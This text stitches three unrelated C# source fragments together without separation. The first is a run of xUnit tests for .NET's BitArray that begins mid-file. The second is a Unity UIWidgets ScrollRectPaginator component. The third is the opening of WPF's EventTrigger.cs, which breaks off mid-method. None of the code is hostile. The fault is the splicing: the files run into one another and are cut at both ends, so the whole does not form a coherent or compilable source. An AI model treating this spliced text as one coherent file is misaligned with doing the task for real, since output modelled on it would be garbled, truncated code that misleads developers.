Get_InvalidIndex_ThrowsArgumentOutOfRangeException() { BitArray bitArray = new BitArray(4); Assert.Throws<ArgumentOutOfRangeException>("index", () => bitArray.Get(-1)); Assert.Throws<ArgumentOutOfRangeException>("index", () => bitArray.Get(bitArray.Length)); Assert.Throws<ArgumentOutOfRangeException>("index", () => bitArray[-1]); Assert.Throws<ArgumentOutOfRangeException>("index", () => bitArray[bitArray.Length]); } [Fact] public static void Set_InvalidIndex_ThrowsArgumentOutOfRangeException() { BitArray bitArray = new BitArray(4); Assert.Throws<ArgumentOutOfRangeException>("index", () => bitArray.Set(-1, true)); Assert.Throws<ArgumentOutOfRangeException>("index", () => bitArray.Set(bitArray.Length, true)); Assert.Throws<ArgumentOutOfRangeException>("index", () => bitArray[-1] = true); Assert.Throws<ArgumentOutOfRangeException>("index", () => bitArray[bitArray.Length] = true); } [Theory] [InlineData(0, true)] [InlineData(0, false)] [InlineData(1, true)] [InlineData(1, false)] [InlineData(BitsPerByte, true)] [InlineData(BitsPerByte, false)] [InlineData(BitsPerByte + 1, true)] [InlineData(BitsPerByte + 1, false)] [InlineData(BitsPerInt32, true)] [InlineData(BitsPerInt32, false)] [InlineData(BitsPerInt32 + 1, true)] [InlineData(BitsPerInt32 + 1, false)] public static void SetAll(int size, bool defaultValue) { BitArray bitArray = new BitArray(size, defaultValue); bitArray.SetAll(!defaultValue); for (int i = 0; i < bitArray.Length; i++) { Assert.Equal(!defaultValue, bitArray[i]); Assert.Equal(!defaultValue, bitArray.Get(i)); } bitArray.SetAll(defaultValue); for (int i = 0; i < bitArray.Length; i++) { Assert.Equal(defaultValue, bitArray[i]); Assert.Equal(defaultValue, bitArray.Get(i)); } } public static IEnumerable<object[]> GetEnumerator_Data() { foreach (int size in new[] { 0, 1, BitsPerByte, BitsPerByte + 1, BitsPerInt32, BitsPerInt32 + 1 }) { foreach (bool lead in new[] { true, false }) { yield return new object[] { Enumerable.Range(0, size).Select(i => lead ^ (i % 2 == 0)).ToArray() }; } } } [Theory] [MemberData(nameof(GetEnumerator_Data))] public static void GetEnumerator(bool[] values) { BitArray bitArray = new BitArray(values); Assert.NotSame(bitArray.GetEnumerator(), bitArray.GetEnumerator()); IEnumerator enumerator = bitArray.GetEnumerator(); for (int i = 0; i < 2; i++) { int counter = 0; while (enumerator.MoveNext()) { Assert.Equal(bitArray[counter], enumerator.Current); counter++; } Assert.Equal(bitArray.Length, counter); enumerator.Reset(); } } [Theory] [InlineData(0)] [InlineData(1)] [InlineData(BitsPerByte)] [InlineData(BitsPerByte + 1)] [InlineData(BitsPerInt32)] [InlineData(BitsPerInt32 + 1)] public static void GetEnumerator_Invalid(int size) { BitArray bitArray = new BitArray(size, true); IEnumerator enumerator = bitArray.GetEnumerator(); // Has not started enumerating Assert.Throws<InvalidOperationException>(() => enumerator.Current); // Has finished enumerating while (enumerator.MoveNext()) ; Assert.Throws<InvalidOperationException>(() => enumerator.Current); // Has resetted enumerating enumerator.Reset(); Assert.Throws<InvalidOperationException>(() => enumerator.Current); // Has modified underlying collection if (size > 0) { enumerator.MoveNext(); bitArray[0] = false; Assert.True((bool)enumerator.Current); Assert.Throws<InvalidOperationException>(() => enumerator.MoveNext()); Assert.Throws<InvalidOperationException>(() => enumerator.Reset()); } } public static IEnumerable<object[]> Length_Set_Data() { int[] sizes = { 1, BitsPerByte, BitsPerByte + 1, BitsPerInt32, BitsPerInt32 + 1 }; foreach (int original in sizes.Concat(new[] { 16384 })) { foreach (int n in sizes) { yield return new object[] { original, n }; } } } [Theory] [MemberData(nameof(Length_Set_Data))] public static void Length_Set(int originalSize, int newSize) { BitArray bitArray = new BitArray(originalSize, true); bitArray.Length = newSize; Assert.Equal(newSize, bitArray.Length); for (int i = 0; i < Math.Min(originalSize, bitArray.Length); i++) { Assert.True(bitArray[i]); Assert.True(bitArray.Get(i)); } for (int i = originalSize; i < newSize; i++) { Assert.False(bitArray[i]); Assert.False(bitArray.Get(i)); } Assert.Throws<ArgumentOutOfRangeException>("index", () => bitArray[newSize]); Assert.Throws<ArgumentOutOfRangeException>("index", () => bitArray.Get(newSize)); // Decrease then increase size bitArray.Length = 0; Assert.Equal(0, bitArray.Length); bitArray.Length = newSize; Assert.Equal(newSize, bitArray.Length); Assert.False(bitArray.Get(0)); Assert.False(bitArray.Get(newSize - 1)); } [Fact] public static void Length_Set_InvalidLength_ThrowsArgumentOutOfRangeException() { BitArray bitArray = new BitArray(1); Assert.Throws<ArgumentOutOfRangeException>(() => bitArray.Length = -1); } public static IEnumerable<object[]> CopyTo_Array_TestData() { yield return new object[] { new BitArray(0), 0, 0, new bool[0], default(bool) }; yield return new object[] { new BitArray(0), 0, 0, new byte[0], default(byte) }; yield return new object[] { new BitArray(0), 0, 0, new int[0], default(int) }; foreach (int bitArraySize in new[] { 0, 1, BitsPerByte, BitsPerByte * 2, BitsPerInt32, BitsPerInt32 * 2 }) { BitArray allTrue = new BitArray(Enumerable.Repeat(true, bitArraySize).ToArray()); BitArray allFalse = new BitArray(Enumerable.Repeat(false, bitArraySize).ToArray()); BitArray alternating = new BitArray(Enumerable.Range(0, bitArraySize).Select(i => i % 2 == 1).ToArray()); foreach (var d in new[] { Tuple.Create(bitArraySize, 0), Tuple.Create(bitArraySize * 2 + 1, 0), Tuple.Create(bitArraySize * 2 + 1, bitArraySize + 1), Tuple.Create(bitArraySize * 2 + 1, bitArraySize / 2 + 1) }) { int arraySize = d.Item1; int index = d.Item2; yield return new object[] { allTrue, arraySize, index, Enumerable.Repeat(true, bitArraySize).ToArray(), default(bool) }; yield return new object[] { allFalse, arraySize, index, Enumerable.Repeat(false, bitArraySize).ToArray(), default(bool) }; yield return new object[] { alternating, arraySize, index, Enumerable.Range(0, bitArraySize).Select(i => i % 2 == 1).ToArray(), default(bool) }; if (bitArraySize >= BitsPerByte) { yield return new object[] { allTrue, arraySize / BitsPerByte, index / BitsPerByte, Enumerable.Repeat((byte)0xff, bitArraySize / BitsPerByte).ToArray(), default(byte) }; yield return new object[] { allFalse, arraySize / BitsPerByte, index / BitsPerByte, Enumerable.Repeat((byte)0x00, bitArraySize / BitsPerByte).ToArray(), default(byte) }; yield return new object[] { alternating, arraySize / BitsPerByte, index / BitsPerByte, Enumerable.Repeat((byte)0xaa, bitArraySize / BitsPerByte).ToArray(), default(byte) }; } if (bitArraySize >= BitsPerInt32) { yield return new object[] { allTrue, arraySize / BitsPerInt32, index / BitsPerInt32, Enumerable.Repeat(unchecked((int)0xffffffff), bitArraySize / BitsPerInt32).ToArray(), default(int) }; yield return new object[] { allFalse, arraySize / BitsPerInt32, index / BitsPerInt32, Enumerable.Repeat(0x00000000, bitArraySize / BitsPerInt32).ToArray(), default(int) }; yield return new object[] { alternating, arraySize / BitsPerInt32, index / BitsPerInt32, Enumerable.Repeat(unchecked((int)0xaaaaaaaa), bitArraySize / BitsPerInt32).ToArray(), default(int) }; } } } } [Theory] [MemberData(nameof(CopyTo_Array_TestData))] public static void CopyTo<T>(BitArray bitArray, int length, int index, T[] expected, T def) { T[] array = (T[])Array.CreateInstance(typeof(T), length); ICollection collection = bitArray; collection.CopyTo(array, index); for (int i = 0; i < index; i++) { Assert.Equal(def, array[i]); } for (int i = 0; i < expected.Length; i++) { Assert.Equal(expected[i], array[i + index]); } for (int i = index + expected.Length; i < array.Length; i++) { Assert.Equal(def, array[i]); } } [Fact] public static void CopyTo_Type_Invalid() { ICollection bitArray = new BitArray(10); Assert.Throws<ArgumentNullException>("array", () => bitArray.CopyTo(null, 0)); Assert.Throws<ArgumentException>(null, () => bitArray.CopyTo(new long[10], 0)); Assert.Throws<ArgumentException>(null, () => bitArray.CopyTo(new int[10, 10], 0)); } [Theory] [InlineData(default(bool), 1, 0, 0)] [InlineData(default(bool), 1, 1, 1)] [InlineData(default(bool), BitsPerByte, BitsPerByte - 1, 0)] [InlineData(default(bool), BitsPerByte, BitsPerByte, 1)] [InlineData(default(bool), BitsPerInt32, BitsPerInt32 - 1, 0)] [InlineData(default(bool), BitsPerInt32, BitsPerInt32, 1)] [InlineData(default(byte), BitsPerByte, 0, 0)] [InlineData(default(byte), BitsPerByte, 1, 1)] [InlineData(default(byte), BitsPerByte * 4, 4 - 1, 0)] [InlineData(default(byte), BitsPerByte * 4, 4, 1)] [InlineData(default(int), BitsPerInt32, 0, 0)] [InlineData(default(int), BitsPerInt32, 1, 1)] [InlineData(default(int), BitsPerInt32 * 4, 4 - 1, 0)] [InlineData(default(int), BitsPerInt32 * 4, 4, 1)] public static void CopyTo_Size_Invalid<T>(T def, int bits, int arraySize, int index) { ICollection bitArray = new BitArray(bits); T[] array = (T[])Array.CreateInstance(typeof(T), arraySize); Assert.Throws<ArgumentOutOfRangeException>("index", () => bitArray.CopyTo(array, -1)); Assert.Throws<ArgumentException>(def is int ? string.Empty : null, () => bitArray.CopyTo(array, index)); } [Fact] public static void SyncRoot() { ICollection bitArray = new BitArray(10); Assert.Same(bitArray.SyncRoot, bitArray.SyncRoot); Assert.NotSame(bitArray.SyncRoot, ((ICollection)new BitArray(10)).SyncRoot); } } }
using UnityEngine; using UnityEngine.UI; using UnityEngine.Events; using UnityEngine.EventSystems; using UnityEngine.Serialization; using System.Collections; using System.Collections.Generic; using System.Linq; using System; namespace UIWidgets { /// <summary> /// Paginator direction. /// Auto - detect direction from ScrollRect.Direction and size of ScrollRect.Content. /// Horizontal - horizontal. /// Vertical - vertical. /// </summary> public enum PaginatorDirection { Auto = 0, Horizontal = 1, Vertical = 2, } /// <summary> /// Page size type. /// Auto - use ScrollRect size. /// Fixed - fixed size. /// </summary> public enum PageSizeType { Auto = 0, Fixed = 1, } /// <summary> /// ScrollRectPageSelect event. /// </summary> [Serializable] public class ScrollRectPageSelect : UnityEvent<int> { } /// <summary> /// ScrollRect Paginator. /// </summary> [AddComponentMenu("UI/UIWidgets/ScrollRectPaginator")] public class ScrollRectPaginator : MonoBehaviour { /// <summary> /// ScrollRect for pagination. /// </summary> [SerializeField] protected ScrollRect ScrollRect; /// <summary> /// DefaultPage template. /// </summary> [SerializeField] protected RectTransform DefaultPage; /// <summary> /// ScrollRectPage component of DefaultPage. /// </summary> protected ScrollRectPage SRDefaultPage; /// <summary> /// ActivePage. /// </summary> [SerializeField] protected RectTransform ActivePage; /// <summary> /// ScrollRectPage component of ActivePage. /// </summary> protected ScrollRectPage SRActivePage; /// <summary> /// The previous page. /// </summary> [SerializeField] protected RectTransform PrevPage; /// <summary> /// ScrollRectPage component of PrevPage. /// </summary> protected ScrollRectPage SRPrevPage; /// <summary> /// The next page. /// </summary> [SerializeField] protected RectTransform NextPage; /// <summary> /// ScrollRectPage component of NextPage. /// </summary> protected ScrollRectPage SRNextPage; /// <summary> /// The direction. /// </summary> [SerializeField] public PaginatorDirection Direction = PaginatorDirection.Auto; /// <summary> /// The type of the page size. /// </summary> [SerializeField] protected PageSizeType pageSizeType = PageSizeType.Auto; /// <summary> /// Gets or sets the type of the page size. /// </summary> /// <value>The type of the page size.</value> public virtual PageSizeType PageSizeType { get { return pageSizeType; } set { pageSizeType = value; RecalculatePages(); } } /// <summary> /// The size of the page. /// </summary> [SerializeField] protected float pageSize; /// <summary> /// Gets or sets the size of the page. /// </summary> /// <value>The size of the page.</value> public virtual float PageSize { get { return pageSize; } set { pageSize = value; RecalculatePages(); } } int pages; /// <summary> /// Gets or sets the pages count. /// </summary> /// <value>The pages.</value> public virtual int Pages { get { return pages; } protected set { pages = value; UpdatePageButtons(); } } /// <summary> /// The current page number. /// </summary> [SerializeField] protected int currentPage; /// <summary> /// Gets or sets the current page number. /// </summary> /// <value>The current page.</value> public int CurrentPage { get { return currentPage; } set { GoToPage(value); } } /// <summary> /// The force scroll position to page. /// </summary> [SerializeField] public bool ForceScrollOnPage; /// <summary> /// Use animation. /// </summary> [SerializeField] public bool Animation = true; /// <summary> /// Movement curve. /// </summary> [SerializeField] [Tooltip("Requirements: start value should be less than end value; Recommended start value = 0; end value = 1;")] [FormerlySerializedAs("Curve")] public AnimationCurve Movement = AnimationCurve.EaseInOut(0, 0, 1, 1); /// <summary> /// Use unscaled time. /// </summary> [SerializeField] public bool UnscaledTime = true; /// <summary> /// OnPageSelect event. /// </summary> [SerializeField] public ScrollRectPageSelect OnPageSelect = new ScrollRectPageSelect(); /// <summary> /// The default pages. /// </summary> protected List<ScrollRectPage> DefaultPages = new List<ScrollRectPage>(); /// <summary> /// The default pages cache. /// </summary> protected List<ScrollRectPage> DefaultPagesCache = new List<ScrollRectPage>(); /// <summary> /// The current animation. /// </summary> protected IEnumerator currentAnimation; /// <summary> /// Is animation running? /// </summary> protected bool isAnimationRunning; /// <summary> /// Is dragging ScrollRect? /// </summary> protected bool isDragging; bool isStarted; /// <summary> /// Start this instance. /// </summary> protected virtual void Start() { if (isStarted) { return ; } isStarted = true; var resizeListener = ScrollRect.GetComponent<ResizeListener>(); if (resizeListener==null) { resizeListener = ScrollRect.gameObject.AddComponent<ResizeListener>(); } resizeListener.OnResize.AddListener(RecalculatePages); var contentResizeListener = ScrollRect.content.GetComponent<ResizeListener>(); if (contentResizeListener==null) { contentResizeListener = ScrollRect.content.gameObject.AddComponent<ResizeListener>(); } contentResizeListener.OnResize.AddListener(RecalculatePages); var dragListener = ScrollRect.GetComponent<OnDragListener>(); if (dragListener==null) { dragListener = ScrollRect.gameObject.AddComponent<OnDragListener>(); } dragListener.OnDragStartEvent.AddListener(OnScrollRectDragStart); dragListener.OnDragEndEvent.AddListener(OnScrollRectDragEnd); ScrollRect.onValueChanged.AddListener(OnScrollRectValueChanged); if (DefaultPage!=null) { SRDefaultPage = DefaultPage.GetComponent<ScrollRectPage>(); if (SRDefaultPage==null) { SRDefaultPage = DefaultPage.gameObject.AddComponent<ScrollRectPage>(); } SRDefaultPage.gameObject.SetActive(false); } if (ActivePage!=null) { SRActivePage = ActivePage.GetComponent<ScrollRectPage>(); if (SRActivePage==null) { SRActivePage = ActivePage.gameObject.AddComponent<ScrollRectPage>(); } } if (PrevPage!=null) { SRPrevPage = PrevPage.GetComponent<ScrollRectPage>(); if (SRPrevPage==null) { SRPrevPage = PrevPage.gameObject.AddComponent<ScrollRectPage>(); } SRPrevPage.SetPage(0); SRPrevPage.OnPageSelect.AddListener(Prev); } if (NextPage!=null) { SRNextPage = NextPage.GetComponent<ScrollRectPage>(); if (SRNextPage==null) { SRNextPage = NextPage.gameObject.AddComponent<ScrollRectPage>(); } SRNextPage.OnPageSelect.AddListener(Next); } RecalculatePages(); var page = currentPage; currentPage = -1; GoToPage(page); } /// <summary> /// Determines whether tthe specified pageComponent is null. /// </summary> /// <returns><c>true</c> if the specified pageComponent is null; otherwise, <c>false</c>.</returns> /// <param name="pageComponent">Page component.</param> protected bool IsNullComponent(ScrollRectPage pageComponent) { return pageComponent==null; } /// <summary> /// Updates the page buttons. /// </summary> protected virtual void UpdatePageButtons() { if (SRDefaultPage==null) { return ; } DefaultPages.RemoveAll(IsNullComponent); if (DefaultPages.Count==Pages) { return ; } if (DefaultPages.Count < Pages) { DefaultPagesCache.RemoveAll(IsNullComponent); Enumerable.Range(DefaultPages.Count, Pages - DefaultPages.Count).ForEach(AddComponent); if (SRNextPage!=null) { SRNextPage.SetPage(Pages - 1); SRNextPage.transform.SetAsLastSibling(); } } else { var to_cache = DefaultPages.GetRange(Pages, DefaultPages.Count - Pages);//.OrderByDescending<ScrollRectPage,int>(GetPageNumber); to_cache.ForEach(x => x.gameObject.SetActive(false)); DefaultPagesCache.AddRange(to_cache); DefaultPages.RemoveRange(Pages, DefaultPages.Count - Pages); if (SRNextPage!=null) { SRNextPage.SetPage(Pages - 1); } } Utilites.UpdateLayout(DefaultPage.parent.GetComponent<LayoutGroup>()); } /// <summary> /// Adds page the component. /// </summary> /// <param name="page">Page.</param> protected virtual void AddComponent(int page) { ScrollRectPage component; if (DefaultPagesCache.Count > 0) { component = DefaultPagesCache[DefaultPagesCache.Count - 1]; DefaultPagesCache.RemoveAt(DefaultPagesCache.Count - 1); } else { component = Instantiate(SRDefaultPage) as ScrollRectPage; component.transform.SetParent(SRDefaultPage.transform.parent, false); component.OnPageSelect.AddListener(GoToPage); Utilites.FixInstantiated(SRDefaultPage, component); } component.transform.SetAsLastSibling(); component.gameObject.SetActive(true); component.SetPage(page); DefaultPages.Add(component); } /// <summary> /// Gets the page number. /// </summary> /// <returns>The page number.</returns> /// <param name="pageComponent">Page component.</param> protected int GetPageNumber(ScrollRectPage pageComponent) { return pageComponent.Page; } /// <summary> /// Determines whether direction is horizontal. /// </summary> /// <returns><c>true</c> if this instance is horizontal; otherwise, <c>false</c>.</returns> protected bool IsHorizontal() { if (Direction==PaginatorDirection.Horizontal) { return true; } if (Direction==PaginatorDirection.Vertical) { return false; } var rect = ScrollRect.content.rect; return rect.width >= rect.height; } /// <summary> /// Gets the size of the page. /// </summary> /// <returns>The page size.</returns> protected virtual float GetPageSize() { if (PageSizeType==PageSizeType.Fixed) { return PageSize; } if (IsHorizontal()) { return (ScrollRect.transform as RectTransform).rect.width; } else { return (ScrollRect.transform as RectTransform).rect.height; } } /// <summary> /// Go to next page. /// </summary> void Next(int x) { Next(); } /// <summary> /// Go to previous page. /// </summary> public virtual void Prev(int x) { Prev(); } /// <summary> /// Go to next page. /// </summary> public virtual void Next() { if (CurrentPage==(Pages - 1)) { return ; } CurrentPage += 1; } /// <summary> /// Go to previous page. /// </summary> public virtual void Prev() { if (CurrentPage==0) { return ; } CurrentPage -= 1; } /// <summary> /// Happens when ScrollRect OnDragStart event occurs. /// </summary> /// <param name="eventData">Event data.</param> protected virtual void OnScrollRectDragStart(PointerEventData eventData) { if (!gameObject.activeInHierarchy) { return ; } isDragging = true; if (isAnimationRunning) { isAnimationRunning = false; if (currentAnimation!=null) { StopCoroutine(currentAnimation); } } } /// <summary> /// Happens when ScrollRect OnDragEnd event occurs. /// </summary> /// <param name="eventData">Event data.</param> protected virtual void OnScrollRectDragEnd(PointerEventData eventData) { isDragging = false; if (ForceScrollOnPage) { ScrollChanged(); } } /// <summary> /// Happens when ScrollRect onValueChanged event occurs. /// </summary> /// <param name="value">Value.</param> protected virtual void OnScrollRectValueChanged(Vector2 value) { if (isAnimationRunning || !gameObject.activeInHierarchy || isDragging) { return ; } if (ForceScrollOnPage) { ScrollChanged(); } } /// <summary> /// Handle scroll changes. /// </summary> protected virtual void ScrollChanged() { if (!gameObject.activeInHierarchy) { return ; } var pos = IsHorizontal() ? -ScrollRect.content.anchoredPosition.x : ScrollRect.content.anchoredPosition.y; var page = Mathf.RoundToInt(pos / GetPageSize()); GoToPage(page, true); } /// <summary> /// Gets the size of the content. /// </summary> /// <returns>The content size.</returns> protected virtual float GetContentSize() { return IsHorizontal() ? ScrollRect.content.rect.width : ScrollRect.content.rect.height; } /// <summary> /// Recalculate the pages count. /// </summary> protected virtual void RecalculatePages() { Pages = Mathf.Max(1, Mathf.CeilToInt(GetContentSize() / GetPageSize())); } /// <summary> /// Go to page. /// </summary> /// <param name="page">Page.</param> protected virtual void GoToPage(int page) { GoToPage(page, false); } /// <summary> /// Gets the page position. /// </summary> /// <returns>The page position.</returns> /// <param name="page">Page.</param> protected virtual float GetPagePosition(int page) { return page * GetPageSize(); } /// <summary> /// Go to page. /// </summary> /// <param name="page">Page.</param> /// <param name="forceUpdate">If set to <c>true</c> force update.</param> protected virtual void GoToPage(int page, bool forceUpdate) { if ((currentPage==page) && (!forceUpdate)) { return ; } if (isAnimationRunning) { isAnimationRunning = false; if (currentAnimation!=null) { StopCoroutine(currentAnimation); } } var endPosition = GetPagePosition(page); if (IsHorizontal()) { endPosition *= -1; } if (Animation) { isAnimationRunning = true; var startPosition = IsHorizontal() ? ScrollRect.content.anchoredPosition.x : ScrollRect.content.anchoredPosition.y; currentAnimation = RunAnimation(IsHorizontal(), startPosition, endPosition, UnscaledTime); StartCoroutine(currentAnimation); } else { if (IsHorizontal()) { ScrollRect.content.anchoredPosition = new Vector2(endPosition, ScrollRect.content.anchoredPosition.y); } else { ScrollRect.content.anchoredPosition = new Vector2(ScrollRect.content.anchoredPosition.x, endPosition); } } if ((SRDefaultPage!=null) && (currentPage!=page)) { if (currentPage >= 0) { DefaultPages[currentPage].gameObject.SetActive(true); } DefaultPages[page].gameObject.SetActive(false); SRActivePage.SetPage(page); SRActivePage.transform.SetSiblingIndex(DefaultPages[page].transform.GetSiblingIndex()); } if (SRPrevPage!=null) { SRPrevPage.gameObject.SetActive(page!=0); } if (SRNextPage!=null) { SRNextPage.gameObject.SetActive(page!=(Pages - 1)); } currentPage = page; OnPageSelect.Invoke(currentPage); } /// <summary> /// Runs the animation. /// </summary> /// <returns>The animation.</returns> /// <param name="isHorizontal">If set to <c>true</c> is horizontal.</param> /// <param name="startPosition">Start position.</param> /// <param name="endPosition">End position.</param> /// <param name="unscaledTime">If set to <c>true</c> use unscaled time.</param> protected virtual IEnumerator RunAnimation(bool isHorizontal, float startPosition, float endPosition, bool unscaledTime) { float delta; var animationLength = Movement.keys[Movement.keys.Length - 1].time; var startTime = (unscaledTime ? Time.unscaledTime : Time.time); do { delta = ((unscaledTime ? Time.unscaledTime : Time.time) - startTime); var value = Movement.Evaluate(delta); var position = startPosition + ((endPosition - startPosition) * value); if (isHorizontal) { ScrollRect.content.anchoredPosition = new Vector2(position, ScrollRect.content.anchoredPosition.y); } else { ScrollRect.content.anchoredPosition = new Vector2(ScrollRect.content.anchoredPosition.x, position); } yield return null; } while (delta < animationLength); if (isHorizontal) { ScrollRect.content.anchoredPosition = new Vector2(endPosition, ScrollRect.content.anchoredPosition.y); } else { ScrollRect.content.anchoredPosition = new Vector2(ScrollRect.content.anchoredPosition.x, endPosition); } isAnimationRunning = false; } /// <summary> /// Removes the callback. /// </summary> /// <param name="page">Page.</param> protected virtual void RemoveCallback(ScrollRectPage page) { page.OnPageSelect.RemoveListener(GoToPage); } /// <summary> /// This function is called when the MonoBehaviour will be destroyed. /// </summary> protected virtual void OnDestroy() { DefaultPages.RemoveAll(IsNullComponent); DefaultPages.ForEach(RemoveCallback); DefaultPagesCache.RemoveAll(IsNullComponent); DefaultPagesCache.ForEach(RemoveCallback); if (ScrollRect!=null) { var dragListener = ScrollRect.GetComponent<OnDragListener>(); if (dragListener!=null) { dragListener.OnDragStartEvent.RemoveListener(OnScrollRectDragStart); dragListener.OnDragEndEvent.RemoveListener(OnScrollRectDragEnd); } var resizeListener = ScrollRect.GetComponent<ResizeListener>(); if (resizeListener!=null) { resizeListener.OnResize.RemoveListener(RecalculatePages); } if (ScrollRect.content!=null) { var contentResizeListener = ScrollRect.content.GetComponent<ResizeListener>(); if (contentResizeListener!=null) { contentResizeListener.OnResize.RemoveListener(RecalculatePages); } } ScrollRect.onValueChanged.RemoveListener(OnScrollRectValueChanged); } if (SRPrevPage!=null) { SRPrevPage.OnPageSelect.RemoveListener(Prev); } if (SRNextPage!=null) { SRNextPage.OnPageSelect.RemoveListener(Next); } } } }
/***************************************************************************\ * * File: EventTrigger.cs * * An event trigger is a set of actions that will be activated in response to * the specified event fired elsewhere. * * Copyright (C) by Microsoft Corporation. All rights reserved. * \***************************************************************************/ using System.Collections; using System.Diagnostics; using System.Windows.Markup; using System.Collections.Specialized; using System.ComponentModel; namespace System.Windows { /// <summary> /// A class that controls a set of actions to activate in response to an event /// </summary> [ContentProperty("Actions")] public class EventTrigger : TriggerBase, IAddChild { /////////////////////////////////////////////////////////////////////// // Public members /// <summary> /// Build an empty instance of the EventTrigger object /// </summary> public EventTrigger() { } /// <summary> /// Build an instance of EventTrigger associated with the given event /// </summary> public EventTrigger( RoutedEvent routedEvent ) { RoutedEvent = routedEvent; } /// <summary> /// Add an object child to this trigger's Actions /// </summary> void IAddChild.AddChild(object value) { AddChild(value); } /// <summary> /// Add an object child to this trigger's Actions /// </summary> protected virtual void AddChild(object value) { TriggerAction action = value as TriggerAction; if (action == null) { throw new ArgumentException(SR.Get(SRID.EventTriggerBadAction, value.GetType().Name)); } Actions.Add(action); } /// <summary> /// Add a text string to this trigger's Actions. Note that this /// is not supported and will result in an exception. /// </summary> void IAddChild.AddText(string text) { AddText(text); } /// <summary> /// Add a text string to this trigger's Actions. Note that this /// is not supported and will result in an exception. /// </summary> protected virtual void AddText(string text) { XamlSerializerUtil.ThrowIfNonWhiteSpaceInAddText(text, this); } /// <summary> /// The Event that will activate this trigger - one must be specified /// before an event trigger is meaningful. /// </summary> public RoutedEvent RoutedEvent { get { return _routedEvent; } set { if ( value == null ) { throw new ArgumentNullException("value"); } if( IsSealed ) { throw new InvalidOperationException(SR.Get(SRID.CannotChangeAfterSealed, "EventTrigger")); } // When used as an element trigger, we don't actually need to seal // to ensure cross-thread usability. However, if we *are* fixed on // listening to an event already, don't allow this change. if( _routedEventHandler != null ) { // Recycle the Seal error message. throw new InvalidOperationException(SR.Get(SRID.CannotChangeAfterSealed, "EventTrigger")); } _routedEvent = value; } } /// <summary> /// The x:Name of the object whose event shall trigger this /// EventTrigger. If null, then this is the object being Styled /// and not anything under its Style.VisualTree. /// </summary> [DefaultValue(null)] public string SourceName { get { return _sourceName; } set { if( IsSealed ) { throw new InvalidOperationException(SR.Get(SRID.CannotChangeAfterSealed, "EventTrigger")); } _sourceName = value; } } /// <summary> /// Internal method to get the childId corresponding to the public /// sourceId. /// </summary> internal int TriggerChildIndex { get { return _childId; } set { _childId = value; } } /// <summary> /// The collection of actions to activate when the Event occurs. /// At least one action is required for the trigger to be meaningful. /// </summary> [DesignerSerializationVisibility(DesignerSerializationVisibility.Content)] public TriggerActionCollection Actions { get { if( _actions == null ) { _actions = new TriggerActionCollection(); // Give the collection a back-link, this is used for the inheritance context _actions.Owner = this; } return _actions; } } /// <summary> /// If we get a new inheritance context (or it goes to null) /// we need to tell actions about it. /// </summary> internal override void OnInheritanceContextChangedCore(EventArgs args) { base.OnInheritanceContextChangedCore(args); if (_actions == null) { return; } for (int i=0; i<_actions.Count; i++) { DependencyObject action = _actions[i] as DependencyObject; if (action != null && action.InheritanceContext == this) { action.OnInheritanceContextChanged(args); } } } /// <summary> /// This method is used by TypeDescriptor to determine if this property should /// be serialized. /// </summary> [EditorBrowsable(EditorBrowsableState.Never)] public bool ShouldSerializeActions() { return ( _actions != null && _actions.Count > 0 ); } /////////////////////////////////////////////////////////////////////// // Internal members internal sealed override void Seal() { if( PropertyValues.Count > 0 ) { throw new InvalidOperationException(SR.Get(SRID.EventTriggerDoNotSetProperties)); } // EnterActions/ExitActions aren't meaningful on event triggers. if( HasEnterActions || HasExitActions ) { throw new InvalidOperationException(SR.Get(SRID.EventTriggerDoesNotEnterExit)); } if (_routedEvent != null && _actions != null && _actions.Count > 0) { _actions.Seal(this); // TriggerActions need a link back to me to fetch the childId corresponding the sourceId string. } base.Seal(); // Should be almost a no-op given lack of PropertyValues } /////////////////////////////////////////////////////////////////////// // Private members // Event that will fire this trigger private RoutedEvent _routedEvent = null; // Name of the Style.VisualTree node whose event to listen to. // May remain the default value of null, which means the object being // Styled is the target instead of something within the Style.VisualTree. private string _sourceName = null; // Style childId corresponding to the SourceName string private int _childId = 0; // Actions to invoke when this trigger is fired private TriggerActionCollection _actions = null; /////////////////////////////////////////////////////////////////////// // Storage attached to other objects to support triggers // Some of these can be moved to base class as necessary. // Exists on objects that have information in their [Class].Triggers collection property. (Currently root FrameworkElement only.) internal static readonly UncommonField<TriggerCollection> TriggerCollectionField = new UncommonField<TriggerCollection>(null); // This is the listener that we hook up to the SourceId element. RoutedEventHandler _routedEventHandler = null; // This is the SourceId-ed element. FrameworkElement _source; /////////////////////////////////////////////////////////////////////// // Internal static methods to process event trigger information stored // in attached storage of other objects. // // Called when the FrameworkElement and the tree structure underneath it has been // built up. This is the earliest point we can resolve all the child // node identification that may exist in a Trigger object. // This should be moved to base class if PropertyTrigger support is added. internal static void ProcessTriggerCollection( FrameworkElement triggersHost ) { TriggerCollection triggerCollection = TriggerCollectionField.GetValue(triggersHost); if( triggerCollection != null ) { // Don't seal the collection, because we allow it to change. We will, // however, seal each of the triggers. for( int i = 0; i < triggerCollection.Count; i++ ) { ProcessOneTrigger( triggersHost, triggerCollection[i] ); } } } //////////////////////////////////////////////////////////////////////// // ProcessOneTrigger // // Find the target element for this trigger, and set a listener for // the event into (pointing back to the trigger). internal static void ProcessOneTrigger( FrameworkElement triggersHost, TriggerBase triggerBase ) { // This code path is used in the element trigger case. We don't actually // need these guys to be usable cross-thread, so we don't really need // to freeze/seal these objects. The only one expected to cause problems // is a change to the RoutedEvent. At the same time we remove this // Seal(), the RoutedEvent setter will check to see if the handler has // already been created and refuse an update if so. // triggerBase.Seal(); EventTrigger eventTrigger = triggerBase as EventTrigger; if( eventTrigger != null ) { Debug.Assert( eventTrigger._routedEventHandler == null && eventTrigger._source == null); // PERF: Cache this result if it turns out we're doing a lot of lookups on the same name. eventTrigger._source = FrameworkElement.FindNamedFrameworkElement( triggersHost, eventTrigger.SourceName ); // Create a statefull event delegate (which keeps a ref to the FE). EventTriggerSourceListener listener = new EventTriggerSourceListener( eventTrigger, triggersHost ); // Store the RoutedEventHandler & target for use in DisconnectOneTrigger eventTrigger._routedEventHandler = new RoutedEventHandler(listener.Handler); eventTrigger._source.AddHandler( eventTrigger.RoutedEvent, eventTrigger._routedEventHandler, false /* HandledEventsToo */ ); } else { throw new InvalidOperationException(SR.Get(SRID.TriggersSupportsEventTriggersOnly)); } } //////////////////////////////////////////////////////////////////////// // // DisconnectAllTriggers // // Call DisconnectOneTrigger for each trigger in the Triggers collection. internal static void DisconnectAllTriggers( FrameworkElement triggersHost ) { TriggerCollection triggerCollection = TriggerCollectionField.GetValue(triggersHost); if( triggerCollection != null ) { for( int i = 0; i < triggerCollection.Count; i++ ) { DisconnectOneTrigger( triggersHost, 